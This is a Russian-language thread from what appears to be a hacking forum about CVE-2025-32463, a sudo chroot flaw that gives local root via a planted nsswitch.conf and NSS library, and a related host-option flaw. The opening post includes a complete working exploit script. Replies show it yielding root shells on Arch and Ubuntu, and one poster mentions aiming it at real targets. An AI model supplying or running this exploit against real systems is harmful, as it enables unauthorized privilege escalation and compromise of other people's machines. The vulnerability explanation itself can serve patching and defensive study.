• XSS.stack #1 – первый литературный журнал от юзеров форума

Local CVE-2025-32463 - уязвимость в sudo, позволяющая получить root

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
В пакете sudo, применяемом для организации выполнения команд от имени других пользователей, выявлена уязвимость (CVE-2025-32463), позволяющая любому непривилегированному пользователю выполнить код с правами root, даже если пользователь не упомянут в конфигурации sudoers. Проблеме подвержены дистрибутивы, использующие файл конфигурации /etc/nsswitch.conf, например, возможность эксплуатации уязвимости продемонстрирована в Ubuntu 24.04 и Fedora 41.

Уязвимость проявляется в конфигурации по умолчанию и подтверждена в выпусках sudo с 1.9.14 по 1.9.17 (потенциально затрагивает все версии, начиная с 1.8.33). Проблема устранена в обновлении sudo 1.9.17p1. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).

Проблема вызвана тем, что при применении опции "-R" ("--chroot") для запуска команд в chroot-окружении с выбранным пользователем корневым каталогом, файл /etc/nsswitch.conf загружался в контексте нового корневого каталога, а не системного каталога. Так как пользователь может использовать в качестве корневого каталога для chroot собственный каталог, он может разместить в нём файл конфигурации nsswitch.conf. Контролируя загружаемый подсистемой NSS (Name Service Switch) файл /etc/nsswitch.conf, пользователь может добавить в него настройки, приводящие к вызову дополнительных обработчиков. Подобные обработчики загружаются NSS в форме разделяемых библиотек, которые также можно разместить в подконтрольном пользователю каталоге. Подставив свою библиотеку пользователь может добиться выполнения из неё кода с правами root, так как обработка NSS производится до сброса привилегий.

Пример эксплоита:
Bash:
#!/bin/bash

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

В версии sudo 1.9.17p1 также устранена ещё одна уязвимость (CVE-2025-32462), позволяющая выполнить команды с правами root, но проявляющаяся только в конфигурациях sudoers, параметр "host" в которых выставлен в значение, отличное от ALL или имени текущего хоста. Уязвимость вызвана ошибкой, из-за которой опция "-h" ("--host") действовала не только в сочетании с опцией "-l" ("--list") для вывода привязанных к хосту привилегий, но и при запуске команд. Таким образом пользователь мог указать при вызове sudo любой хост и обойти ограничения правил sudoers, привязанных к имени хоста.

Для совершения атаки пользователь должен упоминаться в sudoers, например, если в настройках указано "testuser testhost = ALL", то пользователь "testuser" мог указать "sudo -h testhost" и запустить команды с правами root на любых хостах, а не только на хосте testhost. Уязвимости не подвержены конфигурации с настройками вида "testuser ALL = ALL" или без явных правил для конкретного пользователя.
 
Протестил в arch локально, работает.
CSS:
~ sh 1.sh   
woot!
[root@work /]# id
uid=0(root) gid=0(root) groups=0(root),3(sys),90(network),98(power),955(docker),983(rfkill),985(users),986(video),988(storage),990(optical),991(scanner),992(lp),995(audio),998(wheel),1000(backspark),1003(outlinevpn)
[root@work /]# cat /etc/issue
Archcraft \r (\l)
На реальных таргетах не везде есть gcc. Пока не достиг живого пробива.
 
что же с нами стало...
Тяжелые времена ростят сильных программистов. Сильные программисты пишут хорошие фреймворки. Хорошие фреймворки ростят слабых программистов. Наступают тяжелые времена...
 
Протестил в arch локально, работает.
CSS:
~ sh 1.sh
woot!
[root@work /]# id
uid=0(root) gid=0(root) groups=0(root),3(sys),90(network),98(power),955(docker),983(rfkill),985(users),986(video),988(storage),990(optical),991(scanner),992(lp),995(audio),998(wheel),1000(backspark),1003(outlinevpn)
[root@work /]# cat /etc/issue
Archcraft \r (\l)
На реальных таргетах не везде есть gcc. Пока не достиг живого пробива.
и не всегда динамически линкованные либы :D при всём уважении к грейдеру, с своим сарказмом

что же с нами стало...
статически конпелируват у себя некоторые религии могут не позволять, не говоря уже про бананы гугла
по топику, по приведенной ТСом ссылке на трекер debian
1751583504528.png
Bash:
apt policy sudo
sudo:
  Installed: 1.9.13p3-1+deb12u1
  Candidate: 1.9.13p3-1+deb12u1
  Version table:
 *** 1.9.13p3-1+deb12u1 500
        500 https://deb.debian.org/debian bookworm/main amd64 Packages
        100 /var/lib/dpkg/status
     1.9.5p2-3+deb11u1 500
        500 https://deb.debian.org/debian bullseye/main amd64 Packages
 
Последнее редактирование:
Протестил в arch локально, работает.
CSS:
~ sh 1.sh  
woot!
[root@work /]# id
uid=0(root) gid=0(root) groups=0(root),3(sys),90(network),98(power),955(docker),983(rfkill),985(users),986(video),988(storage),990(optical),991(scanner),992(lp),995(audio),998(wheel),1000(backspark),1003(outlinevpn)
[root@work /]# cat /etc/issue
Archcraft \r (\l)
На реальных таргетах не везде есть gcc. Пока не достиг живого пробива.
Bash:
uname -a
Linux srv 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec  5 13:09:44 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

user@srv:~$ ./chekc.sh
woot!
root@srv:/# sudo -V
Sudo version 1.9.15p5
root@srv:/# sudo -R woot woot
sudo: woot: No such file or directory
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх